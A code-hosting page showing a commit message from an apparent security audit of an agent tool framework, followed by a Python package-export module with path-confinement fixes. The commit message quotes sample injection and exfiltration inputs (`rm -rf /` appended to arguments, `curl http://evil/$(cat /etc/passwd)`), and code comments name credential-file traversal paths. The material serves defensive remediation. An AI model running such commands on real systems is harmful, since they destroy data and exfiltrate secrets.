975b852e78
A security and robustness audit of the tool-execution, market-package, and approval subsystems surfaced several high-impact issues. Each is fixed with a minimal, targeted change; regression tests are included. Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are shell-evaluated): - git_commit: the commit message was interpolated raw into the command string. A message like `foo" && rm -rf / #` injected arbitrary commands, and the approval layer never inspects `message`. Now shlex-quoted. - git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or `$(curl ...)` was executed. Now shlex-quoted. Path traversal: - package_loader._write_prompts / uninstall: `package_id` (from an untrusted manifest) was used directly as a directory name under prompts/market and passed to mkdir(parents=True) / shutil.rmtree. An id like `../../projects/<victim>` enabled arbitrary file write and arbitrary directory deletion. Added _market_prompts_dir() which validates the id (lowercase alphanumeric + -/_) and confirms the resolved path stays inside the market base; uninstall validates up front. Prompt-content filenames are also confined to the package dir. - sandbox_checker: a malformed package id was only a *warning*, so report.passed stayed True and callers proceeded. Promoted to a hard error. - package_exporter: prompt refs (bare strings from package definitions) were read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials` were bundled into exported packages. Now confined to opc_home. - ws_handler._write_custom_prompt: employee_id (derived from user-supplied role id/name) flowed unchecked into the path, enabling traversal writes. Now reduced to a safe path component with a containment check. Approval bypass: - approval: a command beginning with a safe prefix (curl/echo/find/...) was auto-approved as LOW risk even when it contained shell command substitution. `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no human/LLM review, letting bash exfil data. Added _command_has_shell_substitution() and gated safe-prefix matching on it. Correctness / robustness: - shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped the `-Command` flag from PowerShell argv (4 elements), silently breaking every prefixed PowerShell tool call. Now replaces only the trailing arg. - runtime_v2: tool arguments that are valid JSON but not an object (e.g. a JSON array) were silently replaced with `{}` while arguments_parse_error stayed None, so the tool executed with empty args (todo_write could wipe the task ledger). Now flagged with a parse error. - store: _json_loads raised on corrupt JSON; it is called during store.initialize() (via _sweep_stale_claims), so a single corrupt row prevented the store from ever opening. Now falls back to the default. - engine: _parse_reorg_payload returned any JSON type; callers did `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns None for non-dict JSON. - channels.manager: a single failing channel.send propagated out of the only outbound dispatch loop and silently stopped all message delivery on every channel until restart. Now caught and logged. - ws_handler: a non-object JSON frame (null/number/array/string) made `data.get` raise AttributeError and drop the whole WS connection. Non-dict frames are now ignored. Co-Authored-By: Claude <noreply@anthropic.com>
207 lines
7.5 KiB
Python
207 lines
7.5 KiB
Python
"""Export the current org configuration as an .opcpkg package."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import logging
|
|
from datetime import datetime, timezone
|
|
from pathlib import Path
|
|
from typing import TYPE_CHECKING
|
|
|
|
import yaml
|
|
|
|
from .package_format import OPCPackage, OPCPackageManifest, PackageAuthor, PackageContents
|
|
|
|
if TYPE_CHECKING:
|
|
from opc.core.config import OPCConfig
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
|
|
class PackageExporter:
|
|
"""Exports the current organisation as a self-contained .opcpkg directory."""
|
|
|
|
def __init__(self, config: OPCConfig, opc_home: Path) -> None:
|
|
self.config = config
|
|
self.opc_home = opc_home
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public API
|
|
# ------------------------------------------------------------------
|
|
|
|
def export_current(
|
|
self,
|
|
package_id: str,
|
|
name: str,
|
|
description: str = "",
|
|
version: str = "1.0.0",
|
|
author_name: str = "",
|
|
author_github: str = "",
|
|
) -> OPCPackage:
|
|
"""Build an OPCPackage from the live org config."""
|
|
org = self.config.org
|
|
|
|
roles = [r.model_dump() for r in org.roles]
|
|
employees = [e.model_dump() for e in org.employees]
|
|
templates_by_id = {
|
|
str(getattr(template, "id", "") or ""): template
|
|
for template in list(getattr(org, "talent_templates", []) or [])
|
|
if str(getattr(template, "id", "") or "")
|
|
}
|
|
employee_template_ids = {
|
|
str(employee.get("template_id", "") or "").strip()
|
|
for employee in employees
|
|
if str(employee.get("template_id", "") or "").strip()
|
|
}
|
|
try:
|
|
from opc.layer2_organization.talent_market import TalentMarket
|
|
|
|
catalog = {template.id: template for template in TalentMarket(self.opc_home, self.config).list_available_templates()}
|
|
for template_id in employee_template_ids:
|
|
if template_id in catalog:
|
|
templates_by_id.setdefault(template_id, catalog[template_id])
|
|
except Exception:
|
|
pass
|
|
templates = [template.model_dump() for template in templates_by_id.values()]
|
|
|
|
# Serialize runtime policy for the current profile
|
|
wf_policy = None
|
|
profile = org.company_profile
|
|
if profile in org.runtime_policies:
|
|
wf_policy = org.runtime_policies[profile].model_dump()
|
|
|
|
# Collect referenced prompt files
|
|
prompt_contents = self._collect_prompts(roles, templates, employees)
|
|
|
|
manifest = OPCPackageManifest(
|
|
id=package_id,
|
|
name=name,
|
|
description=description,
|
|
version=version,
|
|
author=PackageAuthor(name=author_name, github=author_github),
|
|
contents=PackageContents(
|
|
roles=len(roles),
|
|
work_item_templates=0,
|
|
gates=0,
|
|
prompts=len(prompt_contents),
|
|
),
|
|
)
|
|
|
|
return OPCPackage(
|
|
manifest=manifest,
|
|
roles=roles,
|
|
runtime_policy=wf_policy,
|
|
talent_templates=templates,
|
|
employees=employees,
|
|
prompt_contents=prompt_contents,
|
|
readme=self._generate_readme(manifest, roles, None),
|
|
)
|
|
|
|
def write_to_path(self, package: OPCPackage, out_dir: Path) -> Path:
|
|
"""Write an OPCPackage to disk as a .opcpkg directory."""
|
|
pkg_dir = out_dir / f"{package.manifest.id}.opcpkg"
|
|
pkg_dir.mkdir(parents=True, exist_ok=True)
|
|
|
|
# manifest.yaml
|
|
with open(pkg_dir / "manifest.yaml", "w", encoding="utf-8") as f:
|
|
yaml.dump(package.manifest.model_dump(), f, default_flow_style=False, allow_unicode=True)
|
|
|
|
# org_config.yaml
|
|
org_data: dict = {
|
|
"roles": package.roles,
|
|
"talent_templates": package.talent_templates,
|
|
"employees": package.employees,
|
|
"work_item_templates": package.work_item_templates,
|
|
}
|
|
if package.runtime_policy:
|
|
org_data["runtime_policy"] = package.runtime_policy
|
|
with open(pkg_dir / "org_config.yaml", "w", encoding="utf-8") as f:
|
|
yaml.dump(org_data, f, default_flow_style=False, allow_unicode=True)
|
|
|
|
# prompts/
|
|
if package.prompt_contents:
|
|
prompts_dir = pkg_dir / "prompts"
|
|
prompts_dir.mkdir(exist_ok=True)
|
|
for filename, content in package.prompt_contents.items():
|
|
with open(prompts_dir / filename, "w", encoding="utf-8") as f:
|
|
f.write(content)
|
|
|
|
# README.md
|
|
with open(pkg_dir / "README.md", "w", encoding="utf-8") as f:
|
|
f.write(package.readme)
|
|
|
|
logger.info("Exported package %s to %s", package.manifest.id, pkg_dir)
|
|
return pkg_dir
|
|
|
|
# ------------------------------------------------------------------
|
|
# Internal helpers
|
|
# ------------------------------------------------------------------
|
|
|
|
def _collect_prompts(
|
|
self,
|
|
roles: list[dict],
|
|
templates: list[dict],
|
|
employees: list[dict],
|
|
) -> dict[str, str]:
|
|
"""Read all referenced prompt files and return {filename: content}."""
|
|
refs: set[str] = set()
|
|
for r in roles:
|
|
refs.update(r.get("prompt_refs") or [])
|
|
for t in templates:
|
|
ref = t.get("prompt_ref", "")
|
|
if ref:
|
|
refs.add(ref)
|
|
for e in employees:
|
|
refs.update(e.get("prompt_refs") or [])
|
|
|
|
contents: dict[str, str] = {}
|
|
# ``refs`` come from package/role definitions as bare strings. An absolute or
|
|
# traversing value (e.g. "/etc/passwd" or "../../.aws/credentials") must not be
|
|
# bundled into the exported package, so confine each path to opc_home.
|
|
base = self.opc_home.resolve()
|
|
for ref in sorted(refs):
|
|
path = (self.opc_home / ref).resolve()
|
|
try:
|
|
path.relative_to(base)
|
|
except ValueError:
|
|
logger.debug("Skipping prompt ref outside opc_home: %s", ref)
|
|
continue
|
|
if path.is_file():
|
|
try:
|
|
contents[path.name] = path.read_text(encoding="utf-8")
|
|
except Exception:
|
|
logger.debug("Failed to read prompt %s", path)
|
|
return contents
|
|
|
|
def _generate_readme(
|
|
self,
|
|
manifest: OPCPackageManifest,
|
|
roles: list[dict],
|
|
work_item_templates: list[dict] | None,
|
|
) -> str:
|
|
"""Auto-generate a README.md for the package."""
|
|
lines = [
|
|
f"# {manifest.name}",
|
|
"",
|
|
manifest.description or "An OPC architecture package.",
|
|
"",
|
|
f"- **Version**: {manifest.version}",
|
|
f"- **Category**: {manifest.category}",
|
|
f"- **Roles**: {manifest.contents.roles}",
|
|
f"- **Work Item Templates**: {manifest.contents.work_item_templates}",
|
|
"",
|
|
"## Roles",
|
|
"",
|
|
]
|
|
for r in roles:
|
|
lines.append(f"- **{r.get('name', r.get('id', '?'))}** (`{r.get('id', '?')}`): {r.get('responsibility', '')}")
|
|
if work_item_templates:
|
|
lines.extend(["", "## Work Item Templates", ""])
|
|
for item in work_item_templates:
|
|
lines.append(f"- **{item.get('title', item.get('id', '?'))}** (`{item.get('id', '?')}`)")
|
|
lines.extend([
|
|
"",
|
|
"---",
|
|
f"*Exported at {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}*",
|
|
])
|
|
return "\n".join(lines) + "\n"
|